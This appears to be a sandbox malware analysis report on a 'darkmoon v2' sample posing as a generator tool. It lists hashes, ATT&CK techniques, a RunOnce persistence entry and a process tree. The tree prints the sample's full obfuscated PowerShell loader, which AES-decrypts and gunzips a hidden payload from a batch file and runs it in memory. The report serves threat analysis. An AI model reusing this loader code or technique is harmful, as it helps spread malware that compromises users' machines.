2a6a28e5ec050a9039d62bf2cd0075df7324ebb9e3c9130ca417c8381796445e

Analysis

max time kernel
359s
max time network
360s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
02/06/2024, 15:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
darkmoon v2/start.bat
Size 82B
Sample240602-spp86agd23
SHA256 c07fbd6c49d83eb8399435f9972551d2c73a29e5914a25640639191d187dd80d
MD5 e6ede72374e4f7b8b907d4099c76f4d4
SHA1 146899cf959ada383b0a258b06da7963ef0d1c70
SHA512 1b2d0cd4a5deae331ed16f383831f4ff7ba1c5b7f6906a35354dfd420ca44f17e3469157f2327685a6aa9773175425aa145faa2d4866030d131334eb36426fcc
MD5 SHA1 SHA512

Score

7^/10

persistence

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2496	AyBYMBjlvU.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2968	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	DarkMoon_Gen.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
2	discord.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 13 IoCs

evasion

pid	Process
2300	timeout.exe
320	timeout.exe
1196	timeout.exe
2112	timeout.exe
1136	timeout.exe
1624	timeout.exe
820	timeout.exe
1320	timeout.exe
2996	timeout.exe
2876	timeout.exe
2680	timeout.exe
2216	timeout.exe
1316	timeout.exe

Runs ping.exe 1 TTPs 17 IoCs

Remote System Discovery

T1018

pid	Process
2008	PING.EXE
2536	PING.EXE
2728	PING.EXE
1528	PING.EXE
2692	PING.EXE
2016	PING.EXE
2808	PING.EXE
2608	PING.EXE
2436	PING.EXE
876	PING.EXE
2384	PING.EXE
1956	PING.EXE
2468	PING.EXE
2704	PING.EXE
1200	PING.EXE
2636	PING.EXE
2796	PING.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2496	AyBYMBjlvU.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2496	AyBYMBjlvU.bat.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2268 wrote to memory of 2960	2268	cmd.exe	29
PID 2268 wrote to memory of 2960	2268	cmd.exe	29
PID 2268 wrote to memory of 2960	2268	cmd.exe	29
PID 2268 wrote to memory of 2968	2268	cmd.exe	30
PID 2268 wrote to memory of 2968	2268	cmd.exe	30
PID 2268 wrote to memory of 2968	2268	cmd.exe	30
PID 2960 wrote to memory of 2616	2960	DarkMoon_Gen.exe	32
PID 2960 wrote to memory of 2616	2960	DarkMoon_Gen.exe	32
PID 2960 wrote to memory of 2616	2960	DarkMoon_Gen.exe	32
PID 2616 wrote to memory of 2524	2616	cmd.exe	34
PID 2616 wrote to memory of 2524	2616	cmd.exe	34
PID 2616 wrote to memory of 2524	2616	cmd.exe	34
PID 2616 wrote to memory of 2996	2616	cmd.exe	35
PID 2616 wrote to memory of 2996	2616	cmd.exe	35
PID 2616 wrote to memory of 2996	2616	cmd.exe	35
PID 2616 wrote to memory of 2536	2616	cmd.exe	36
PID 2616 wrote to memory of 2536	2616	cmd.exe	36
PID 2616 wrote to memory of 2536	2616	cmd.exe	36
PID 2616 wrote to memory of 2636	2616	cmd.exe	37
PID 2616 wrote to memory of 2636	2616	cmd.exe	37
PID 2616 wrote to memory of 2636	2616	cmd.exe	37
PID 2616 wrote to memory of 2728	2616	cmd.exe	38
PID 2616 wrote to memory of 2728	2616	cmd.exe	38
PID 2616 wrote to memory of 2728	2616	cmd.exe	38
PID 2616 wrote to memory of 2796	2616	cmd.exe	39
PID 2616 wrote to memory of 2796	2616	cmd.exe	39
PID 2616 wrote to memory of 2796	2616	cmd.exe	39
PID 2616 wrote to memory of 2384	2616	cmd.exe	40
PID 2616 wrote to memory of 2384	2616	cmd.exe	40
PID 2616 wrote to memory of 2384	2616	cmd.exe	40
PID 2616 wrote to memory of 2468	2616	cmd.exe	41
PID 2616 wrote to memory of 2468	2616	cmd.exe	41
PID 2616 wrote to memory of 2468	2616	cmd.exe	41
PID 2616 wrote to memory of 2608	2616	cmd.exe	42
PID 2616 wrote to memory of 2608	2616	cmd.exe	42
PID 2616 wrote to memory of 2608	2616	cmd.exe	42
PID 2616 wrote to memory of 2704	2616	cmd.exe	43
PID 2616 wrote to memory of 2704	2616	cmd.exe	43
PID 2616 wrote to memory of 2704	2616	cmd.exe	43
PID 2616 wrote to memory of 2436	2616	cmd.exe	44
PID 2616 wrote to memory of 2436	2616	cmd.exe	44
PID 2616 wrote to memory of 2436	2616	cmd.exe	44
PID 2968 wrote to memory of 2496	2968	cmd.exe	45
PID 2968 wrote to memory of 2496	2968	cmd.exe	45
PID 2968 wrote to memory of 2496	2968	cmd.exe	45
PID 2616 wrote to memory of 2876	2616	cmd.exe	46
PID 2616 wrote to memory of 2876	2616	cmd.exe	46
PID 2616 wrote to memory of 2876	2616	cmd.exe	46
PID 2616 wrote to memory of 1528	2616	cmd.exe	47
PID 2616 wrote to memory of 1528	2616	cmd.exe	47
PID 2616 wrote to memory of 1528	2616	cmd.exe	47
PID 2616 wrote to memory of 320	2616	cmd.exe	48
PID 2616 wrote to memory of 320	2616	cmd.exe	48
PID 2616 wrote to memory of 320	2616	cmd.exe	48
PID 2616 wrote to memory of 1200	2616	cmd.exe	49
PID 2616 wrote to memory of 1200	2616	cmd.exe	49
PID 2616 wrote to memory of 1200	2616	cmd.exe	49
PID 2616 wrote to memory of 2680	2616	cmd.exe	50
PID 2616 wrote to memory of 2680	2616	cmd.exe	50
PID 2616 wrote to memory of 2680	2616	cmd.exe	50
PID 2616 wrote to memory of 2692	2616	cmd.exe	51
PID 2616 wrote to memory of 2692	2616	cmd.exe	51
PID 2616 wrote to memory of 2692	2616	cmd.exe	51
PID 2616 wrote to memory of 1196	2616	cmd.exe	52

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\start.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\DarkMoon_Gen.exe
  DarkMoon_Gen.exe
  2⤵
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2960
- - C:\Windows\system32\cmd.exe
    cmd /c "Dark Moon gen.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2616
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2524
  - - C:\Windows\system32\timeout.exe
      timeout 2
      4⤵
      Delays execution with timeout.exe
      PID:2996
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2536
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2636
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2728
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2796
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2384
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2468
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2608
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 1
      4⤵
      Runs ping.exe
      PID:2704
  - - C:\Windows\system32\PING.EXE
      ping discord.com
      4⤵
      Runs ping.exe
      PID:2436
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:2876
  - - C:\Windows\system32\PING.EXE
      ping www.paysafecard.com
      4⤵
      Runs ping.exe
      PID:1528
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:320
  - - C:\Windows\system32\PING.EXE
      ping www.amazon.com
      4⤵
      Runs ping.exe
      PID:1200
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:2680
  - - C:\Windows\system32\PING.EXE
      ping play.google.com
      4⤵
      Runs ping.exe
      PID:2692
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:1196
  - - C:\Windows\system32\PING.EXE
      ping store.steampowered.com
      4⤵
      Runs ping.exe
      PID:2016
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:1624
  - - C:\Windows\system32\PING.EXE
      ping netflix.com
      4⤵
      Runs ping.exe
      PID:1956
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:2216
  - - C:\Windows\system32\PING.EXE
      ping www.spotify.com
      4⤵
      Runs ping.exe
      PID:2008
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:820
  - - C:\Windows\system32\PING.EXE
      ping www.xbox.com
      4⤵
      Runs ping.exe
      PID:876
  - - C:\Windows\system32\timeout.exe
      timeout 0
      4⤵
      Delays execution with timeout.exe
      PID:1316
  - - C:\Windows\system32\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:1320
  - - C:\Windows\system32\timeout.exe
      timeout 2
      4⤵
      Delays execution with timeout.exe
      PID:2300
  - - C:\Windows\system32\timeout.exe
      timeout 2
      4⤵
      Delays execution with timeout.exe
      PID:2112
  - - C:\Windows\system32\PING.EXE
      ping www.google.com
      4⤵
      Runs ping.exe
      PID:2808
  - - C:\Windows\system32\timeout.exe
      timeout 2
      4⤵
      Delays execution with timeout.exe
      PID:1136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K AyBYMBjlvU.bat
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe
    "AyBYMBjlvU.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Dark Moon gen.bat

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Dark Moon gen.bat
Size 35KB
SHA256 2fa64c968a0fe02d626a225ecc2e1e4a5185f73d70a0557f32f2bbea76361005
MD5 c153581143e0b72cecae38a393991a4b
SHA1 da43d03b19765594ff124415a060551343823a39
SHA512 8c9807f4a3044f49d99e5b1c2a20d112eba61570fa0e725777a3bd84d6a0e7df1c604579863e27c6d0617c2c84fa4ae8c3b7525e37f7e7ee9c6ef26b6c9db40f
SSDEEP 768:sQFlE38u/LOzTWyv+C42E42aSCghIcjH3oyjoyhPekLLokLL76VkLLHwkLDkLP9J:sQFl48GLOzTWyv+C42E42aSCghIcjH3e
MD5 SHA1 SHA512 SSDEEP

Submit Download

AyBYMBjlvU.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2496-8-0x000000001B450000-0x000000001B732000-memory.dmp

Download

memory/2496-9-0x0000000002790000-0x0000000002798000-memory.dmp

Download